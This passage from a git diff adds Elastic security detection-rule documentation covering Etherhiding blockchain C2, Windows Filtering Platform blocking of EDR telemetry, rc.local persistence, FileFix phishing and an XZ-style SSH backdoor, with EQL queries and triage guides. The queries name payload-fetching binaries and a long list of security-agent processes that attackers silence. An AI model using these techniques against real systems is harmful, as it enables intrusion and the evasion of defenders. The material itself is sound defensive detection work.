related applications may query blockchain data for asset verification. Confirm if such applications are approved. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further C2 communication or payload retrieval. +- Terminate the suspicious process making blockchain API connections and prevent it from restarting. +- Extract and analyze the blockchain contract addresses or transaction data being queried to understand the malicious payload or configuration. +- Conduct a thorough malware analysis of the responsible application to identify its full capabilities and persistence mechanisms. +- Block the identified blockchain API endpoints at the network perimeter if they are not required for legitimate business purposes. +- Search for similar blockchain API connections across other endpoints to identify potential lateral movement or additional compromised systems. +- Escalate to the security operations team for comprehensive incident response if the activity confirms an active Etherhiding-based attack. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [network where host.os.type == "macos" and event.type == "start" and + (process.name in ("bash", "sh", "zsh", "osascript", "node", "Cursor") or + process.name like ("python*", "ruby*", "perl*", "tclsh*")) and + destination.domain like ("eth-mainnet*", "ethereum*", "eth.*.com")] + [file where host.os.type == "macos" and event.action == "modification" and file.extension in ("js", "py", "sh")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-evasion-via-windows-filtering-platform.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-evasion-via-windows-filtering-platform.asciidoc new file mode 100644 index 0000000000..f4dbe09917 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-evasion-via-windows-filtering-platform.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-potential-evasion-via-windows-filtering-platform]] +=== Potential Evasion via Windows Filtering Platform + +Identifies multiple Windows Filtering Platform block events and where the process name is related to an endpoint security software. Adversaries may add malicious WFP rules to prevent Endpoint security from sending telemetry. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/dsnezhkov/shutter/tree/main +* https://github.com/netero1010/EDRSilencer/tree/main +* https://www.mdsec.co.uk/2023/09/nighthawk-0-2-6-three-wise-monkeys/ +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5157 +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5152 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Evasion via Windows Filtering Platform* + + +The Windows Filtering Platform (WFP) is a set of API and system services that provide a platform for network filtering and packet processing. Adversaries may exploit WFP by creating malicious rules to block endpoint security processes, hindering their ability to send telemetry data. The detection rule identifies patterns of blocked network events linked to security software processes, signaling potential evasion tactics. + + +*Possible investigation steps* + + +- Review the specific network events that triggered the alert, focusing on the event.action values "windows-firewall-packet-block" and "windows-firewall-packet-drop" to understand which processes were blocked. +- Identify the process names involved in the alert from the process.name field and verify if they are related to known endpoint security software, as listed in the query. +- Check the winlog.computer_name field to determine which systems are affected and assess if multiple systems are involved, indicating a broader issue. +- Investigate the recent changes to the Windows Filtering Platform rules on the affected systems to identify any unauthorized or suspicious modifications. +- Correlate the blocked events with any recent security incidents or alerts to determine if there is a pattern or ongoing attack. +- Consult system logs and security software logs on the affected systems for additional context or anomalies around the time of the alert. +- Engage with the system or network administrators to verify if any legitimate changes were made to the WFP rules that could explain the blocked events. + + +*False positive analysis* + + +- Security software updates or installations can trigger multiple block events as they modify network configurations. Users should monitor for these events during known update windows and consider excluding them from alerts. +- Legitimate network troubleshooting or diagnostic tools may temporarily block network traffic as part of their operation. Identify these tools and create exceptions for their processes to prevent false alerts. +- Custom security configurations or policies in enterprise environments might intentionally block certain network activities. Review and document these configurations to differentiate between expected behavior and potential threats. +- Temporary network disruptions or misconfigurations can cause legitimate security processes to be blocked. Regularly audit network settings and ensure they align with security policies to minimize these occurrences. +- Scheduled maintenance or testing of security systems might result in blocked events. Coordinate with IT teams to whitelist these activities during planned maintenance periods. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and data exfiltration. +- Terminate any suspicious processes identified in the alert, particularly those related to endpoint security software, to restore normal security operations. +- Review and remove any unauthorized or suspicious Windows Filtering Platform rules that may have been added to block security processes. +- Conduct a thorough scan of the affected system using a trusted antivirus or endpoint detection and response (EDR) tool to identify and remove any malware or persistent threats. +- Restore any affected security software to its default configuration and ensure it is fully operational and updated. +- Monitor network traffic and system logs for any signs of continued evasion tactics or re-infection attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +The 'Filtering Platform Connection' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Object Access > +Filtering Platform Connection (Success,Failure) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name with maxspan=1m + [network where host.os.type == "windows" and + event.action : ("windows-firewall-packet-block", "windows-firewall-packet-drop") and + process.name : ( + "bdagent.exe", "bdreinit.exe", "pdscan.exe", "pdiface.exe", "BDSubWiz.exe", "ProductAgentService.exe", + "ProductAgentUI.exe", "WatchDog.exe", "CarbonBlackClientSetup.exe", "TrGUI.exe", "TracCAPI.exe", "cpmsi_tool.exe", + "trac.exe", "vna_install64.exe", "vna_utils.exe", "TracSrvWrapper.exe", "vsmon.exe", "p95tray.exe", + "CybereasonRansomFreeServiceHost.exe", "CrAmTray.exe", "minionhost.exe", "CybereasonSensor.exe", "CylanceUI.exe", + "CylanceProtectSetup.exe", "cylancesvc.exe", "cyupdate.exe", "elastic-agent.exe", "elastic-endpoint.exe", + "egui.exe", "minodlogin.exe", "emu-rep.exe", "emu_install.exe", "emu-cci.exe", "emu-gui.exe", "emu-uninstall.exe", + "ndep.exe", "spike.exe", "ecls.exe", "ecmd.exe", "ecomserver.exe", "eeclnt.exe", "eh64.exe", "EHttpSrv.exe", + "xagt.exe", "collectoragent.exe", "FSAEConfig.exe", "uninstalldcagent.exe", "rmon.exe", "fccomint.exe", + "fclanguageselector.exe", "fortifw.exe", "fcreg.exe", "fortitray.exe", "fcappdb.exe", "fcwizard.exe", "submitv.exe", + "av_task.exe", "fortiwf.exe", "fortiwadbd.exe", "fcauth.exe", "fcdblog.exe", "fcmgr.exe", "fortiwad.exe", + "fortiproxy.exe", "fortiscand.exe", "fortivpnst.exe", "ipsec.exe", "fcwscd7.exe", "fcasc.exe", "fchelper.exe", + "forticlient.exe","fcwsc.exe", "FortiClient.exe", "fmon.exe", "FSSOMA.exe", "FCVbltScan.exe", "FortiESNAC.exe", + "EPCUserAvatar.exe", "FortiAvatar.exe", "FortiClient_Diagnostic_Tool.exe", "FortiSSLVPNdaemon.exe", "avp.exe", + "FCConfig.exe", "avpsus.exe", "klnagent.exe", "klnsacwsrv.exe", "kl_platf.exe", "stpass.exe", "klnagwds.exe", + "mbae.exe", "mbae64.exe", "mbae-svc.exe", "mbae-uninstaller.exe", "mbaeLoader32.exe", "mbaeloader64.exe", + "mbam-dor.exe", "mbamgui.exe", "mbamservice.exe", "mbamtrayctrl.exe", "mbampt.exe", "mbamscheduler.exe", + "Coreinst.exe", "mbae-setup.exe", "mcupdate.exe", "ProtectedModuleHost.exe", "ESConfigTool.exe", "FWInstCheck.exe", + "FwWindowsFirewallHandler.exe", "mfeesp.exe", "mfefw.exe", "mfeProvisionModeUtility.exe", "mfetp.exe", "avpui.exe", + "WscAVExe.exe", "mcshield.exe", "McChHost.exe", "mfewc.exe", "mfewch.exe", "mfewcui.exe", "fwinfo.exe", + "mfecanary.exe", "mfefire.exe", "mfehidin.exe", "mfemms.exe", "mfevtps.exe", "mmsinfo.exe", "vtpinfo.exe", + "MarSetup.exe", "mctray.exe", "masvc.exe", "macmnsvc.exe", "McAPExe.exe", "McPvTray.exe", "mcods.exe", + "mcuicnt.exe", "mcuihost.exe", "xtray.exe", "McpService.exe", "epefprtrainer.exe", "mfeffcoreservice.exe", + "MfeEpeSvc.exe", "qualysagent.exe", "QualysProxy.exe", "QualysAgentUI.exe", "SVRTgui.exe", "SVRTcli.exe", + "SVRTcli.exe", "SVRTgui.exe", "SCTCleanupService.exe", "SVRTservice.exe", "native.exe", "SCTBootTasks.exe", + "ALMon.exe", "SAA.exe", "SUMService.exe", "ssp.exe", "SCFService.exe", "SCFManager.exe", "spa.exe", "cabarc.exe", + "sargui.exe", "sntpservice.exe", "McsClient.exe", "McsAgent.exe", "McsHeartbeat.exe", "SAVAdminService.exe", + "sav32cli.exe", "ForceUpdateAlongSideSGN.exe", "SAVCleanupService.exe", "SavMain.exe", "SavProgress.exe", + "SavProxy.exe", "SavService.exe", "swc_service.exe", "swi_di.exe", "swi_service.exe", "swi_filter.exe", + "ALUpdate.exe", "SophosUpdate.exe", "ALsvc.exe", "SophosAlert.exe", "osCheck.exe", "N360Downloader.exe", + "InstWrap.exe", "symbos.exe", "nss.exe", "symcorpui.exe", "isPwdSvc.exe", "ccsvchst.exe", "ntrmv.exe", + "pccntmon.exe", "AosUImanager.exe", "NTRTScan.exe", "TMAS_OL.exe", "TMAS_OLImp.exe", "TMAS_OLSentry.exe", + "ufnavi.exe", "Clnrbin.exe", "vizorhtmldialog.exe", "pwmConsole.exe", "PwmSvc.exe", "coreServiceShell.exe", + "ds_agent.exe", "SfCtlCom.exe", "MBAMHelper.exe", "cb.exe", "smc.exe", "tda.exe", "xagtnotif.exe", "ekrn.exe", + "dsa.exe", "Notifier.exe", "rphcp.exe", "lc_sensor.exe", "CSFalconService.exe", "CSFalconController.exe", + "SenseSampleUploader.exe", "windefend.exe", "MSASCui.exe", "MSASCuiL.exe", "msmpeng.exe", "msmpsvc.exe", + "MsSense.exe", "esensor.exe", "sentinelone.exe", "tmccsf.exe", "csfalconcontainer.exe", "sensecncproxy.exe", + "splunk.exe", "sysmon.exe", "sysmon64.exe", "taniumclient.exe" + )] with runs=5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-of-rc-local-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-of-rc-local-script.asciidoc new file mode 100644 index 0000000000..9d466dd471 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-of-rc-local-script.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-potential-execution-of-rc-local-script]] +=== Potential Execution of rc.local Script + +This rule detects the potential execution of the "/etc/rc.local" script through the "already_running" event action created by the "rc-local.service" systemd service. The "/etc/rc.local" script is a legacy initialization script that is executed at the end of the boot process. The "/etc/rc.local" script is not enabled by default on most Linux distributions. The "/etc/rc.local" script can be used by attackers to persistently execute malicious commands or scripts on a compromised system at reboot. As the rc.local file is executed prior to the initialization of Elastic Defend, the execution event is not ingested, and therefore the "already_running" event is leveraged to provide insight into the potential execution of "rc.local". + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Execution of rc.local Script* + + +The `/etc/rc.local` script is a legacy Linux initialization script executed at the end of the boot process. While not enabled by default, attackers can exploit it to persistently run malicious commands upon system reboot. The detection rule identifies potential misuse by monitoring for the `already_running` event action linked to `rc-local.service`, indicating the script's execution, thus alerting to possible persistence tactics. + + +*Possible investigation steps* + + +- Review the system logs to identify any recent changes or modifications to the /etc/rc.local file, focusing on timestamps and user accounts involved in the changes. +- Examine the contents of the /etc/rc.local file to identify any suspicious or unauthorized commands or scripts that may have been added. +- Investigate the process tree and parent processes associated with the rc-local.service to determine if there are any unusual or unexpected parent processes that could indicate compromise. +- Check for any other persistence mechanisms or indicators of compromise on the system, such as unauthorized user accounts or scheduled tasks, to assess the broader impact of the potential threat. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or related activities that could provide additional context or evidence of malicious behavior. + + +*False positive analysis* + + +- System maintenance scripts: Some Linux distributions or administrators may use the rc.local script for legitimate system maintenance tasks. Review the script's content to verify its purpose and consider excluding these known benign scripts from triggering alerts. +- Custom startup configurations: Organizations might have custom startup configurations that utilize rc.local for non-malicious purposes. Document these configurations and create exceptions in the detection rule to prevent unnecessary alerts. +- Legacy applications: Certain legacy applications might rely on rc.local for initialization. Identify these applications and assess their necessity. If deemed safe, exclude their execution from the rule to reduce false positives. +- Testing environments: In testing or development environments, rc.local might be used for various non-threatening experiments. Clearly label these environments and adjust the rule to ignore alerts originating from them. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious scripts and limit the attacker's access. +- Review the contents of the `/etc/rc.local` file on the affected system to identify any unauthorized or suspicious commands or scripts. Remove any malicious entries found. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Restore the system from a known good backup if the integrity of the system is in question and if malicious activity is confirmed. +- Implement monitoring for changes to the `/etc/rc.local` file and other critical system files to detect unauthorized modifications in the future. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected. +- Review and update security policies and configurations to disable the execution of the `/etc/rc.local` script by default on all systems, unless explicitly required for legitimate purposes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "info" and event.action == "already_running" and +process.parent.args == "/etc/rc.local" and process.parent.args == "start" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-via-filefix-phishing-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-via-filefix-phishing-attack.asciidoc new file mode 100644 index 0000000000..6971180539 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-via-filefix-phishing-attack.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-potential-execution-via-filefix-phishing-attack]] +=== Potential Execution via FileFix Phishing Attack + +Identifies the execution of Windows commands or downloaded files via the browser's dialog box. Adversaries may use phishing to instruct the victim to copy and paste malicious commands for execution via crafted phsihing web pages. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://mrd0x.com/filefix-clickfix-alternative/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Execution via FileFix Phishing Attack* + + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any malicious intent. +- Review web activity preceeding the alert to identify the initial vector. +- Investigate any files, network or child process events from the suspected process. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts containing the suspicious keywords such as CAPTCHA. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.args == "--message-loop-type-ui" and process.parent.args == "--service-sandbox-type=none" and + ( + process.name : ("pwsh.exe", "powershell.exe", "curl.exe", "msiexec.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "certutil.exe", "certreq.exe") or + process.executable : "?:\\Users\\*\\Downloads\\*" + ) and +not (process.name : "rundll32.exe" and process.args : ("ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile", "shwebsvc.dll,AddNetPlaceRunDll")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-via-ssh-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-via-ssh-backdoor.asciidoc new file mode 100644 index 0000000000..7201d2441c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-execution-via-ssh-backdoor.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-execution-via-ssh-backdoor]] +=== Potential Execution via SSH Backdoor + +It identifies potential malicious shell executions through remote SSH and detects cases where the sshd service suddenly terminates soon after successful execution, suggesting suspicious behavior similar to the XZ backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/amlweems/xzbot +* https://access.redhat.com/security/cve/CVE-2024-3094 +* https://www.elastic.co/security-labs/500ms-to-midnight + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Execution via SSH Backdoor* + + +Linux SSH backdoors, such as the XZBackdoor, leverage SSH, a secure protocol for remote access, to execute malicious commands stealthily. Adversaries exploit SSH by initiating sessions that mimic legitimate activity, then abruptly terminate them post-execution to evade detection. The detection rule identifies anomalies by tracking SSH processes that start and end unexpectedly, especially when non-standard executables are invoked, signaling potential backdoor activity. + + +*Possible investigation steps* + + +- Review the SSH session logs on the affected host to identify any unusual or unauthorized access attempts, focusing on sessions that match the process.pid and process.entity_id from the alert. +- Examine the command history and executed commands for the user associated with the user.id in the alert to identify any suspicious or unexpected activities. +- Investigate the non-standard executables invoked by the SSH session by checking the process.executable field to determine if they are legitimate or potentially malicious. +- Analyze the network activity associated with the SSH session, particularly any disconnect_received events, to identify any unusual patterns or connections to suspicious IP addresses. +- Check the exit codes of the SSH processes, especially those with a non-zero process.exit_code, to understand the reason for the abrupt termination and whether it aligns with typical error codes or indicates malicious activity. + + +*False positive analysis* + + +- Legitimate administrative SSH sessions may trigger the rule if they involve non-standard executables. To manage this, create exceptions for known administrative scripts or tools that are frequently used in your environment. +- Automated processes or scripts that use SSH for routine tasks might mimic the behavior of the XZBackdoor. Identify these processes and exclude them by specifying their executable paths or command-line patterns in the rule exceptions. +- Security tools or monitoring solutions that perform SSH-based checks could be mistaken for malicious activity. Review these tools and add their signatures to the exclusion list to prevent false alerts. +- Custom applications that use SSH for communication might be flagged. Document these applications and adjust the rule to recognize their specific execution patterns as non-threatening. +- Temporary network issues causing abrupt SSH session terminations could be misinterpreted as suspicious behavior. Monitor network stability and consider excluding known transient disconnections from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious SSH sessions identified by the detection rule to stop ongoing malicious activity. +- Conduct a thorough review of the affected host's SSH configuration and logs to identify unauthorized changes or access patterns. +- Reset credentials for any user accounts involved in the suspicious SSH activity to prevent further unauthorized access. +- Restore the affected system from a known good backup if any unauthorized changes or malware are detected. +- Implement network segmentation to limit SSH access to critical systems and reduce the attack surface. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "linux" and event.action == "end" and process.name == "sshd" and process.exit_code != 0 and + process.command_line == "/usr/sbin/sshd -D -R" and process.parent.command_line == "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "sshd" and process.parent.command_line == "/usr/sbin/sshd -D -R" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and not ( + process.args like ( + "rsync*", "systemctl*", "/usr/sbin/unix_chkpwd", "/usr/bin/google_authorized_keys", "/usr/sbin/aad_certhandler*", + "bash -c bash -s", "/usr/lib/ssh/sftp-server", "stat /etc/is_upgrade_install > /dev/null 2>&1", + "stat /opt/qradar/ha/.*", "/usr/bin/env -i PATH=*", "/opt/gitlab/*", "clamdscan*", "wc*", "export*", + "test*", "md5sum*", "check_mk_agent", "/usr/bin/env*", "/usr/bin/check_mk_agent", "timeout*", "/usr/sbin/haproxy*", + "/usr/libexec/openssh/sftp-server", "command*", "find*", "cd *", "scp*", "while*", "pvesh*", "/bin/true", + "/usr/sbin/qm mtunnel", "multipath*", "/usr/lib/openssh/sftp-server" + ) or + process.command_line like ("sh -c /usr/bin/env -i PATH=*", "sh -c -- /usr/bin/env -i PATH=*", "*ansible*", "*BECOME-SUCCESS*") + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** 